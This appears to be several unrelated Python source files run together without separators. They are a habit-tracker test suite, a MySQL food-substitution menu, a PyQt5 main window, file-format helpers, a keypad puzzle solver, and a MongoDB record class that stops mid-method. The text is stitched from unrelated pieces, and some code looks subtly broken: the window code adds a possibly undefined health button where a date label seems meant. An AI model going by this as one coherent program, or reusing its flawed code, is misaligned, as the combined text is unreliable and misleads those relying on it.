"""
Database related methods in the analytics module are tested.
Results of menu options such as see one habit, see all habits
registered, see habits with the same periodicity and the longest
streak of all habits are tested using the five predetermined
habits in the database.
"""
from datetime import date
from Habitsbox_app.app.analytics import Analytics

analytics = Analytics()

def insert_habit():
    """
    Insert the habit play piano and its corresponding
    information in the database.
    """
    analytics.insert_habit('Play Piano', 'daily', 'Learn more songs', 'Minimum one hour')

def delete_habit():
    """
    Delete the habit play piano and its corresponding
    information in the database.
    """
    analytics.remove_habit('Play Piano')

def test_get_habits_table_piano():
    """
    Get the habits registered in the habits table
    of the database.
    Verify that the habit play piano was inserted.
    """
    insert_habit()
    habits_table_with_piano = analytics.habits_table()
    assert habits_table_with_piano ==  [
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-06-25'),
        (2, 'Run', 'weekly', 'Improved fitness', 'Jogging and sprinting', '2021-06-25'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-06-25'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-06-29'),
        (5, 'Learn French', 'weekly', 'Fluent in french', 'Practice the 4 skills', '2021-06-29'),
        (6, 'Play Piano', 'daily', 'Learn more songs', 'Minimum one hour', str(date.today()))
        ]
    delete_habit()

def test_get_trackings_table():
    """
    Get the trackings recorded in the trackings table
    of the database.
    """
    trackings_table = analytics.trackings_table()
    assert trackings_table == [(2, '2021-06-25', '18:26'), (3, '2021-06-25', '19:52'),
                               (1, '2021-06-26', '20:09'), (3, '2021-06-26', '04:40'),
                               (1, '2021-06-27', '10:44'), (3, '2021-06-27', '20:49'),
                               (3, '2021-06-28', '01:18'), (3, '2021-06-29', '19:42'),
                               (1, '2021-06-29', '08:25'), (4, '2021-06-29', '08:57'),
                               (2, '2021-06-29', '02:07'), (5, '2021-06-29', '04:46'),
                               (1, '2021-06-30', '05:54'), (4, '2021-06-30', '12:04'),
                               (4, '2021-07-01', '05:37'), (1, '2021-07-01', '07:17'),
                               (3, '2021-07-01', '12:16'), (3, '2021-07-02', '22:04'),
                               (4, '2021-07-02', '23:02'), (3, '2021-07-03', '07:12'),
                               (3, '2021-07-04', '08:11'), (3, '2021-07-05', '10:58'),
                               (2, '2021-07-05', '14:38'), (3, '2021-07-06', '00:14'),
                               (4, '2021-07-06', '12:28'), (3, '2021-07-07', '17:07'),
                               (4, '2021-07-07', '02:44'), (5, '2021-07-07', '16:09'),
                               (4, '2021-07-08', '18:19'), (1, '2021-07-08', '22:35'),
                               (5, '2021-07-09', '10:01'), (1, '2021-07-09', '10:14'),
                               (1, '2021-07-10', '17:12'), (1, '2021-07-11', '19:54'),
                               (1, '2021-07-12', '00:06'), (2, '2021-07-12', '16:12'),
                               (3, '2021-07-12', '18:43'), (1, '2021-07-13', '08:02'),
                               (1, '2021-07-14', '21:32'), (1, '2021-07-15', '08:37'),
                               (1, '2021-07-16', '08:32'), (3, '2021-07-16', '11:59'),
                               (5, '2021-07-16', '21:14'), (4, '2021-07-18', '03:03'),
                               (1, '2021-07-18', '06:59'), (4, '2021-07-19', '22:50'),
                               (3, '2021-07-19', '13:05'), (4, '2021-07-20', '04:59'),
                               (3, '2021-07-20', '05:52'), (5, '2021-07-20', '09:00'),
                               (3, '2021-07-21', '18:44'), (4, '2021-07-21', '03:55'),
                               (3, '2021-07-22', '06:52'), (1, '2021-07-22', '18:27'),
                               (4, '2021-07-23', '01:28'), (1, '2021-07-23', '12:17'),
                               (4, '2021-07-24', '19:10'), (4, '2021-07-25', '02:18'),
                               (4, '2021-07-26', '09:53'), (5, '2021-07-26', '16:59')]

def test_get_habits_trackings_table():
    """
    Get the join of the habits and trackings tables
    in the database.
    """
    habits_trackings_table = analytics.habits_trackings_table()
    assert habits_trackings_table ==  [
        (2, 'Run',  'weekly', 'Improved fitness', 'Jogging and sprinting', '2021-06-25', '18:26'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-06-25', '19:52'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-06-26', '20:09'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-06-26', '04:40'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-06-27', '10:44'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-06-27', '20:49'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-06-28', '01:18'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-06-29', '19:42'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-06-29', '08:25'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-06-29', '08:57'),
        (2, 'Run', 'weekly', 'Improved fitness', 'Jogging and sprinting', '2021-06-29', '02:07'),
        (5, 'Learn French', 'weekly', 'Fluent in french',
         'Practice the 4 skills', '2021-06-29', '04:46'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-06-30', '05:54'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-06-30', '12:04'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-01', '05:37'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-01', '07:17'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-01', '12:16'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-02', '22:04'),
        (4,  'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-02', '23:02'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-03', '07:12'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-04', '08:11'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-05', '10:58'),
        (2, 'Run', 'weekly', 'Improved fitness', 'Jogging and sprinting', '2021-07-05', '14:38'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-06', '00:14'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-06', '12:28'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-07', '17:07'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-07', '02:44'),
        (5, 'Learn French', 'weekly', 'Fluent in french',
         'Practice the 4 skills', '2021-07-07', '16:09'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-08', '18:19'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-08', '22:35'),
        (5, 'Learn French', 'weekly', 'Fluent in french',
         'Practice the 4 skills', '2021-07-09', '10:01'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-09', '10:14'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-10', '17:12'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-11', '19:54'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-12', '00:06'),
        (2, 'Run', 'weekly', 'Improved fitness', 'Jogging and sprinting', '2021-07-12', '16:12'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-12', '18:43'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-13', '08:02'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-14', '21:32'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-15', '08:37'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-16', '08:32'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-16', '11:59'),
        (5, 'Learn French', 'weekly', 'Fluent in french',
         'Practice the 4 skills', '2021-07-16', '21:14'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-18', '03:03'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-18', '06:59'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-19', '22:50'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-19', '13:05'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-20', '04:59'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-20', '05:52'),
        (5, 'Learn French', 'weekly', 'Fluent in french',
         'Practice the 4 skills', '2021-07-20', '09:00'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-21', '18:44'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-21', '03:55'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-07-22', '06:52'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-22', '18:27'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-23', '01:28'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-07-23', '12:17'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-24', '19:10'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-25', '02:18'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-07-26', '09:53'),
        (5, 'Learn French', 'weekly', 'Fluent in french',
         'Practice the 4 skills', '2021-07-26', '16:59')
        ]

def insert_day():
    """
    Date and current time corresponding to the habit
    with id number 6 are inserted in the trackings table
    of the database.
    """
    analytics.insert_day(6)

def test_get_last_tracking_insertation_():
    """
    Get the id number and date of the tracking 61 in
    the trackings table of the database.
    """
    insert_habit()
    insert_day()
    trackings_table = analytics.trackings_table()
    assert trackings_table[60][:-1] == (6, str(date.today()))
    delete_habit()

def yoga_habits_trackings():
    """
    Select the rows corresponding to the yoga habit
    in the join of the habits and trackings tables
    of the database.
    """
    return analytics.select_rows(
        analytics.habits_trackings_table(),
        0,
        1)

def run_habits_trackings():
    """
    Select the rows corresponding to the run habit
    in the join of the habits and trackings tables
    of the database.
    """
    return analytics.select_rows(
        analytics.habits_trackings_table(),
        0,
        2)

def read_habits_trackings():
    """
    Select the rows corresponding to the read habit
    in the join of the habits and trackings tables
    of the database.
    """
    return analytics.select_rows(
        analytics.habits_trackings_table(),
        0,
        3)

def meditation_habits_trackings():
    """
    Select the rows corresponding to the meditation habit
    in the join of the habits and trackings tables
    of the database.
    """
    return analytics.select_rows(
        analytics.habits_trackings_table(),
        0,
        4)

def french_habits_trackings():
    """
    Select the rows corresponding to the french habit
    in the join of the habits and trackings tables
    of the database.
    """
    return analytics.select_rows(
        analytics.habits_trackings_table(),
        0,
        5)

def test_first_tracking():
    """
    Gives the date of the first tracking.
    """
    yoga_start_date = analytics.start_habit(yoga_habits_trackings(), 5)
    run_start_date = analytics.start_habit(run_habits_trackings(), 5)
    read_start_date = analytics.start_habit(read_habits_trackings())
    meditation_start_date = analytics.start_habit(meditation_habits_trackings())
    french_start_date = analytics.start_habit(french_habits_trackings())

    assert yoga_start_date == date(2021, 6, 26)
    assert run_start_date == date(2021, 6, 25)
    assert read_start_date == date(2021, 6, 25)
    assert meditation_start_date == date(2021, 6, 29)
    assert french_start_date == date(2021, 6, 29)

def test_last_tracking():
    """
    Gives the date of the last tracking.
    """
    yoga_last_day = analytics.last_day(yoga_habits_trackings())
    run_last_day = analytics.last_day(run_habits_trackings())
    read_last_day = analytics.last_day(read_habits_trackings())
    meditation_last_day = analytics.last_day(meditation_habits_trackings())
    french_last_day = analytics.last_day(french_habits_trackings(), 5)

    assert yoga_last_day == date(2021, 7, 23)
    assert run_last_day == date(2021, 7, 12)
    assert read_last_day == date(2021, 7, 22)
    assert meditation_last_day == date(2021, 7, 26)
    assert french_last_day == date(2021, 7, 26)

def yoga_trackings():
    """
    Select the rows corresponding to the yoga
    habit in the trackings table of the db.
    """
    return analytics.select_rows(
        analytics.trackings_table(),
        0,
        1)

def run_trackings():
    """
    Select the rows corresponding to the run
    habit in the trackings table of the db.
    """
    return analytics.select_rows(
        analytics.trackings_table(),
        0,
        2)

def read_trackings():
    """
    Select the rows corresponding to the read
    habit in the trackings table of the db.
    """
    return analytics.select_rows(
        analytics.trackings_table(),
        0,
        3)

def meditation_trackings():
    """
    Select the rows corresponding to the meditation
    habit in the trackings table of the db.
    """
    return analytics.select_rows(
        analytics.trackings_table(),
        0,
        4)

def french_trackings():
    """
    Select the rows corresponding to the learning
    french habit in the trackings table of the db.
    """
    return analytics.select_rows(
        analytics.trackings_table(),
        0,
        5)

def test_most_active_time():
    """
    Part(s) of the day (Morning, Afternoon, Evening and Overnight)
    with the most trackings for a given habit, which means that the
    activity is most often performed in that part of the day.
    """
    yoga_active_time = analytics.active_time_dict(yoga_trackings(), 2)
    run_active_time = analytics.active_time_dict(run_trackings(), 2)
    read_active_time = analytics.active_time_dict(read_trackings(), 2)
    meditation_active_time = analytics.active_time_dict(meditation_trackings(), 2)
    french_active_time = analytics.active_time_dict(french_trackings(), 2)

    yoga_max_active_time = analytics.max_value(yoga_active_time)
    run_max_active_time = analytics.max_value(run_active_time)
    read_max_active_time = analytics.max_value(read_active_time)
    meditation_max_active_time = analytics.max_value(meditation_active_time)
    french_max_active_time = analytics.max_value(french_active_time)

    assert analytics.most_active_time(yoga_active_time,
                                      yoga_max_active_time) == ['Morning']
    assert analytics.most_active_time(run_active_time,
                                      run_max_active_time) == ['Afternoon']
    assert analytics.most_active_time(read_active_time,
                                      read_max_active_time) == ['Evening', 'Morning']
    assert analytics.most_active_time(meditation_active_time,
                                      meditation_max_active_time) == ['Overnight']
    assert analytics.most_active_time(french_active_time,
                                      french_max_active_time) == ['Afternoon', 'Morning']

def test_longest_streak():
    """
    Give the longest streak for a given habit.
    """
    yoga_longest_streak = analytics.longest_streak_periodicity(yoga_trackings(), 'daily', 1)
    run_longest_streak = analytics.longest_streak_periodicity(run_trackings(), 'weekly', 1)
    read_longest_streak = analytics.longest_streak_periodicity(read_trackings(), 'daily', 1)
    meditation_longest_streak = analytics.longest_streak_periodicity(meditation_trackings(),
                                                                     'daily',
                                                                     1)
    french_longest_streak = analytics.longest_streak_periodicity(french_trackings(), 'weekly', 1)

    assert yoga_longest_streak == 9
    assert run_longest_streak == 4
    assert read_longest_streak == 7
    assert meditation_longest_streak == 4
    assert french_longest_streak == 5

def test_days_weeks_activity():
    """
    Total number of trackings. Days or weeks of activity
    depending on the periodicity of each habit.
    """
    assert analytics.activity('daily', yoga_trackings(), 1) == 17
    assert analytics.activity('weekly', run_trackings(), 1) == 4
    assert analytics.activity('daily', read_trackings(), 1) == 18
    assert analytics.activity('daily', meditation_trackings(), 1) == 15
    assert analytics.activity('weekly', french_trackings(), 1) == 5

def test_tracked_habits():
    """
    Habits with trackings and their information from
    the habits table of the DB.
    """
    tracked_habits = analytics.tracked_habits(analytics.habits_table(),
                                              analytics.habits_trackings_table())
    assert tracked_habits == [
        (2, 'Run', 'weekly', 'Improved fitness', 'Jogging and sprinting', '2021-06-25'),
        (3, 'Read', 'daily', '12 books in a year', 'Classics and dystopian', '2021-06-25'),
        (1, 'Yoga', 'daily', 'Be more flexible', 'A low-impact activity', '2021-06-25'),
        (4, 'Meditation', 'daily', 'Training awareness', '20 minutes', '2021-06-29'),
        (5, 'Learn French', 'weekly', 'Fluent in french', 'Practice the 4 skills', '2021-06-29')
        ]

def test_habits_without_trackings():
    """
    Untracked habits and their information from
    the habits table of the DB.
    """
    untracked_habits = analytics.habits_without_trackings(analytics.habits_table,
                                                          [])
    assert untracked_habits == []

def test_habits_info_same_periodicity():
    """
    Give information for each habit with the same periodicity.
    ID and name of each habit, date of the first and last tracking,
    most active time, days or weeks of activity according to
    periodicity and its longest streak.
    """
    habits_trackings_table = analytics.habits_trackings_table()
    list_daily = analytics.lists_periodicity(habits_trackings_table, 2, 'daily')
    list_weekly = analytics.lists_periodicity(habits_trackings_table, 2, 'weekly')
    assert analytics.periodicity_info(list_daily, 'daily') == [
        ('3', 'Read', '2021-06-25', '2021-07-22', 'Evening, Morning', 18, 7),
        ('1', 'Yoga', '2021-06-26', '2021-07-23', 'Morning', 17, 9),
        ('4', 'Meditation', '2021-06-29', '2021-07-26', 'Overnight', 15, 4)
        ]
    assert analytics.periodicity_info(list_weekly, 'weekly') == [
        ('2', 'Run', '2021-06-25', '2021-07-12', 'Afternoon', 4, 4),
        ('5', 'Learn French', '2021-06-29', '2021-07-26', 'Afternoon, Morning', 5, 5)
        ]

def test_longest_streak_all_habits():
    """
    Give the longest streak of all habits.
    """
    habits_trackings_table = analytics.habits_trackings_table()
    habit_info_longest_streak = analytics.habit_info_longest_streak(habits_trackings_table)
    assert analytics.name_habit_longest_streak(habit_info_longest_streak) == [('Yoga', 9)]


import mysql.connector
from random import randint
from mysql.connector import errorcode

class User_interface:
    """Permit user and program discussion"""
    def __init__(self, mycursor):
        self.category = ""
        self.product_type = ""
        self.mycursor = mycursor

    def introduct(self):
        """Permit the choice between the three main choice.

        By using terminal, user choice between 1, 2 or 3
        depending on his own choice:
        Food he would like to surrogate, display saved product
        or update the database.

        Return reboot to know if an update process is necessary.
        It repeat the question if the input is not a char '1', '2' or '3'.
        """
        mycursor = self.mycursor
        choice = ""

        print("\nWelcome to my program, please make a choice between : ")
        while choice < "1" or choice > "3":
            choice = input("\
                \n1 : Food you would like to surrogate\
                \n2 : Display saved products\
                \n3 : Update database\n")
            if choice == "2":
                try:
                    mycursor.execute(f"SELECT * FROM SAVED")
                    myresult = mycursor.fetchall()
                    for row in myresult:
                        print("\n")
                        print("Name: ", row[3])
                        print("URL: ", row[4])
                        print("Description: ", row[5])
                        print("Store: ", row[6])
                    reset = input("\n\
Would you like to reset saved table ? \
press Y, else press enter : ")
                    if reset == "Y":
                        mycursor.execute(f"DROP TABLE SAVED")
                except:
                        print("\nTable SAVED empty")
            elif choice == "3":
                reboot = input("\
Are you sure to erase table product ?\n\
This action could take many minutes\
depending on product : \
Press 1, else press enter : ")
                return reboot

    def chosen_cat(self):
        """Permit user to chose a category pre-writed.

        User chose between the five main category
        interface display the product type

        Return category integer and category name,
        used in many functions of the program.
        """
        category = self.category
        category_name = ""

        print("\
            \n1 : Cheese\
            \n2 : Meat\
            \n3 : Fish\
            \n4 : Chocolate\
            \n5 : Drinks\n")
        while category < "1" or category > "5":
            category = input("Please, enter the number of the category : ")
        if category == "1":
            print("\
                \n1 : Cow cheese\
                \n2 : Goat cheese\
                \n3 : Buffalo cheese\n")
            category_name = "Cheese"
        elif category == "2":
            print("\
                \n1 : Beef\
                \n2 : Porc\
                \n3 : Poultry\n")
            category_name = "Meat"
        elif category == "3":
            print("\
                \n1 : Salmon\
                \n2 : Tuna\
                \n3 : Sardine\n")
            category_name = "Fish"
        elif category == "4":
            print("\
                \n1 : Black chocolate\
                \n2 : Milk chocolate\
                \n3 : White chocolate\n")
            category_name = "Chocolate"
        elif category == "5":
            print("\
                \n1 : Iced-tea\
                \n2 : Waters\
                \n3 : Lemonades\n")
            category_name = "Drinks"
        return category, category_name

    def chosen_prod(self, category):
        """Permit to chose a product_type

        Use category integer for determine which sub category
        is chosen. User have to chose between the 3 product type
        used in chosen_cat().
        Display the english name, but search in french to
        result in french product.

        Return name, product type integer and category
        used for the rest of the program.
        It repeat the question if input is not a char
        '1', '2' or '3'.
        """
        product_type = self.product_type
        name = ""
        en_name = ""

        while product_type < "1" or product_type > "3":
            product_type = input("Please, enter a number \
corresponding to a product : ")
        if category == "1" and product_type == "1":
            name = "Fromages_de_vache"
            en_name = "Cow cheese"
        elif category == "1" and product_type == "2":
            name = "Fromage_de_chèvre"
            en_name = "Goat cheese"
        elif category == "1" and product_type == "3":
            name = "Fromage_au_lait_de_bufflonne"
            en_name = "Buffalo cheese"
        elif category == "2" and product_type == "1":
            name = "Boeuf"
            en_name = "Beef"
        elif category == "2" and product_type == "2":
            name = "Porc"
            en_name = "Porc"
        elif category == "2" and product_type == "3":
            name = "Volailles"
            en_name = "Poultry"
        elif category == "3" and product_type == "1":
            name = "Saumon"
            en_name = "Salmon"
        elif category == "3" and product_type == "2":
            name = "Thon"
            en_name = "Tuna"
        elif category == "3" and product_type == "3":
            name = "Sardine"
            en_name = "Sardine"
        elif category == "4" and product_type == "1":
            name = "Chocolats_noirs"
            en_name = "Black chocolate"
        elif category == "4" and product_type == "2":
            name = "Chocolats_au_lait"
            en_name = "Milk chocolate"
        elif category == "4" and product_type == "3":
            name = "Chocolats_blancs"
            en_name = "White chocolate"
        elif category == "5" and product_type == "1":
            name = "Thés_glacés"
            en_name = "Ice-tea"
        elif category == "5" and product_type == "2":
            name = "Eaux"
            en_name = "Waters"
        elif category == "5" and product_type == "3":
            name = "Citronnades"
            en_name = "Lemonades"
        print(f"\nYou have chosen the product : {en_name}")
        product_type = int(product_type)
        category = int(category)
        return name, product_type, category


from datetime import datetime
from PyQt5.QtWidgets import QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QSizePolicy, QLabel, QApplication
from apps.health import Health
from apps.schedule import Schedule
from apps.time_managment import Management
from apps.settings_window import Settings
from apps.module import *
from appData.constants.constants import WEEKDAY_LIST
from appData.settings.settings_parser import SCHEDULE, HEALTH, MANAGEMENT, stylesheet_main
from sys import argv, exit
from apps.pyqt_module import delete_items_of_layout

class Window(QWidget):
    def __init__(self):
        super().__init__()
        self.main_layout = QVBoxLayout()
        self.button_layout = QHBoxLayout()
        self.content_layout = QHBoxLayout()

        #button
        if SCHEDULE:
            self.schedule = QPushButton('Schedule')
            self.button_layout.addWidget(self.schedule, stretch=3)
            self.schedule.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
            self.schedule.clicked.connect(self.show_schedule)
        if MANAGEMENT:
            self.management = QPushButton('Time management')
            self.button_layout.addWidget(self.management, stretch=3)
            self.management.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
            self.management.clicked.connect(self.show_management)
        if HEALTH:
            self.health = QPushButton('Health')
            self.button_layout.addWidget(self.health, stretch=3)
            self.health.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
            self.health.clicked.connect(self.show_health)
        self.settings = QPushButton('settings')
        self.button_layout.addWidget(self.settings, stretch=1)
        self.settings.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
        self.settings.clicked.connect(self.show_settings)

        self.main_layout.addLayout(self.button_layout)

        self.main_layout.addLayout(self.content_layout)

        self.date = QLabel(WEEKDAY_LIST[datetime.today().weekday() - 1])
        self.main_layout.addWidget(self.health)
        self.date.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
        self.content = QWidget()
        self.refresh()

        self.setLayout(self.main_layout)

    def refresh(self):
        delete_items_of_layout(self.content_layout)
        self.content_layout.addWidget(self.content)
        self.content.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
        self.content.show()

    def show_schedule(self):
        self.content = Schedule()
        self.refresh()

    def show_management(self):
        self.content = Management()
        self.refresh()

    def show_health(self):
        self.content = Health()
        self.refresh()

    def show_settings(self):
        self.content = Settings()
        self.refresh()

if __name__ == "__main__":
    try:
        app = QApplication([argv])
        app.setStyleSheet(stylesheet_main)
        main = Window()
        main.resize(1200, 800)
        main.show()
        exit(app.exec_())
    except Exception as e:
        with open('debug_log.txt', 'w') as file:
            file.write(str(e))


import zipfile
import csv
import json
import xml.etree.ElementTree as ET

# Comprimir arquivos em um arquivo zip
def compress_files(zip_file, files):
    with zipfile.ZipFile(zip_file, 'w') as zf:
        for file in files:
            zf.write(file)

# Descomprimir arquivos de um arquivo zip
def decompress_files(zip_file, destination):
    with zipfile.ZipFile(zip_file, 'r') as zf:
        zf.extractall(destination)

# Ler dados de um arquivo CSV
def read_csv(file_path):
    with open(file_path, 'r') as csv_file:
        reader = csv.reader(csv_file)
        for row in reader:
            print(row)

# Escrever dados em um arquivo CSV
def write_csv(file_path, data):
    with open(file_path, 'w') as csv_file:
        writer = csv.writer(csv_file)
        for row in data:
            writer.writerow(row)

# Ler dados de um arquivo JSON
def read_json(file_path):
    with open(file_path, 'r') as json_file:
        data = json.load(json_file)
        print(data)

# Escrever dados em um arquivo JSON
def write_json(file_path, data):
    with open(file_path, 'w') as json_file:
        json.dump(data, json_file)

# Ler dados de um arquivo XML
def read_xml(file_path):
    tree = ET.parse(file_path)
    root = tree.getroot()
    for element in root:
        print(element.tag, element.attrib, element.text)

# Escrever dados em um arquivo XML
def write_xml(file_path, data):
    root = ET.Element('root')
    for item in data:
        element = ET.SubElement(root, item['tag'], attrib=item['attrib'])
        element.text = item['text']

    tree = ET.ElementTree(root)
    tree.write(file_path)


start_char = '5'

# assumes 1 non-whitespace character per button
f = open("pad", "r")

pad = f.read()

f.close()

rows = pad.split('\n')

h = len(rows) - 1; # not sure why -1 yet, the split above leaves an extra 0 len sting in list

w = 0
for row in rows:
    if len(row) > w:
        w = len(row)

grid = [[' ' for x in range(w)] for y in range(h)]

y = 0
for row in rows:
    x = 0
    for c in row:
        grid[x][y] = c
        x = x + 1
    y = y + 1

print("=====PAD=====")
for y in range(h):
    for x in range(w):
        print("%c " % grid[x][y], end="")
    print("")
print("=============")

f = open("input", "r")

code = f.read().split()

f.close()

found = 0;

# find start char
for y in range(h):
    for x in range(w):
        if grid[x][y] == start_char:
            found = 1
            break
    if found == 1:
        break

# x and y now contain the start location

for digit in code:
    for c in digit:
        if c == 'U':
            if y != 0 and grid[x][y-1] != ' ':
                y = y-1
        if c == 'D':
            if y != h-1 and grid[x][y+1] != ' ':
                y = y+1
        if c == 'R':
            if x != w-1 and grid[x+1][y] != ' ':
                x = x+1
        if c == 'L':
            if x != 0 and grid[x-1][y] != ' ':
                x = x-1

    print(grid[x][y], end="")


# coding: utf-8
# Standard Python libraries
from pathlib import Path
import shutil
import tarfile
from collections import OrderedDict

# http://www.numpy.org/
import numpy as np

# https://pandas.pydata.org/
import pandas as pd

# https://api.mongodb.com/python/current/
from pymongo import MongoClient
from gridfs import GridFS

# https://github.com/usnistgov/DataModelDict
from DataModelDict import DataModelDict as DM

# Relative imports
from ..tools import aslist
from . import Database
from .. import load_record, recordmanager

class MongoDatabase(Database):

    def __init__(self, host='localhost', port=27017, database='iprPy', **kwargs):
        """
        Initializes a connection to a Mongo database.

        Parameters
        ----------
        host : str
            The mongo host to connect to.  Default value is 'localhost'.
        port : int
            Then port to use in connecting to the mongo host.  Default value
            is 27017.
        database : str
            The name of the database in the mongo host to interact with.
            Default value is 'iprPy'
        **kwargs : dict, optional
            Any extra keyword arguments needed to initialize a
            pymongo.MongoClient object.
        """

        # Connect to underlying class
        self.__mongodb = MongoClient(host=host, port=port, document_class=DM, **kwargs)[database]

        # Define class host using client's host, port and database name
        #host = self.mongodb.client.address[0]
        #port = self.mongodb.client.address[1]
        #database = self.mongodb.name
        host = f'{host}:{port}.{database}'

        # Pass host to Database initializer
        Database.__init__(self, host)

    @property
    def style(self):
        """str: The database style"""
        return 'mongo'

    @property
    def mongodb(self):
        """pymongo.Database : The underlying database API object."""
        return self.__mongodb

    def get_records(self, style=None, return_df=False, query=None, **kwargs):
        """
        Produces a list of all matching records in the database.

        Parameters
        ----------
        style : str, optional
            The record style to search.  If not given, a prompt will ask for it.
        return_df : bool, optional
            If True, then the corresponding pandas.Dataframe of metadata
            will also be returned
        query : dict, optional
            A custom-built Mongo-style query to use for the record search.
            Alternative to passing in the record-specific metadata kwargs.
        **kwargs : any, optional
            Any of the record-specific metadata keywords that can be searched
            for.

        Returns
        ------
        records : numpy.NDArray
            All records from the database matching the given parameters.
        records_df : pandas.DataFrame
            The corresponding metadata values for the records.  Only returned
            if return_df is True.
        """
        # Set default search parameters
        if style is None:
            style = self.select_record_style()

        # Use given query
        if query is not None:
            assert len(kwargs) == 0, 'query cannot be given with kwargs'
        else:
            query = load_record(style).mongoquery(**kwargs)

        # Query the collection to construct records
        records = []
        collection = self.mongodb[style]
        for entry in collection.find(query):
            record = load_record(style, model=entry['content'],
                                 name=entry['name'], database=self)
            records.append(record)
        records = np.array(records)

        # Build df
        if len(records) > 0:
            df = []
            for record in records:
                df.append(record.metadata())
            df = pd.DataFrame(df)
        else:
            df = pd.DataFrame({'name':[]})

        # Sort by name
        df = df.sort_values('name')
        records = records[df.index.tolist()]

        # Return records (and df)
        if return_df:
            return records, df.reset_index(drop=True)
        else:
            return records

    def get_records_df(self, style=None, query=None, **kwargs):
        """
        Produces a pandas.Dataframe of all matching records in the database.

        Parameters
        ----------
        style : str, optional
            The record style to search.
        query : dict, optional
            A custom-built Mongo-style query to use for the record search.
            Alternative to passing in the record-specific metadata keywords.
        **kwargs : any, optional
            Any of the record-specific metadata keywords that can be searched
            for.

        Returns
        -------
        records_df : pandas.DataFrame
            The corresponding metadata values for the records.
        """
        return self.get_records(style, query=query, return_df=True, **kwargs)[1]

    def get_record(self, style=None, query=None, **kwargs):
        """
        Retrieves a single matching record from the database.

        Parameters
        ----------
        style : str, optional
            The record style to search.
        query : dict, optional
            A custom-built Mongo-style query to use for the record search.
            Alternative to passing in the record-specific metadata keywords.
        **kwargs : any, optional
            Any of the record-specific metadata keywords that can be searched
            for.

        Returns
        ------
        Record
            The record from the database matching the given parameters.

        Raises
        ------
        ValueError
            If multiple or no matching records found.
        """

        if style is None:
            styles = recordmanager.loaded_style_names
        else:
            styles = aslist(style)

        # Get records
        records = []
        for style in styles:
            records.append(self.get_records(style, query=query, **kwargs))
        records = np.hstack(records)

        # Verify that there is only one matching record
        if len(records) == 1:
            return records[0]
        elif len(records) == 0:
            raise ValueError('No matching records found')
        else:
